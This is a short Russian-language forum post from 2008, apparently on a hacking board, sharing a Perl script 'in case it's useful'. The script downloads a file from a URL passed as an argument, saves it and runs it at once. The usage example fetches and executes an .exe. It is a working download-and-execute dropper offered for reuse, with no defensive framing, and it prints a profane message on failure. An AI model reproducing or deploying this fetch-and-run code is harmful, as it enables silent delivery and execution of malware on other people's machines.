10.06.2008, 23:36
|
|
Участник форума
Регистрация: 25.03.2008
Сообщений: 138
Провел на форуме:
1105166
Репутация:
201
|
|
Сообщение от .Slip
Не правдо ли проще?
Код:
#!/usr/bin/perl -w
use LWP::UserAgent;
my $ua=LWP::UserAgent->new or die;
my $gets = $ua->get($ARGV[0])->content;
if ($gets) {open(F,">","$ARGV[1]"); binmode F; print F $gets; close F; system($ARGV[1]);}
else {print "\nFuck you spielberg\n";}
Не знаю зачем ты устроил такой браузерозависимый геморой.
usage:
script.pl http://filesite.ru/file.exe C:\file.exe
=\
PS Если ты писал для веба скрипт, то этот при желании можно переписать. решил вывесить, может кому и будет польза! 
|
|
|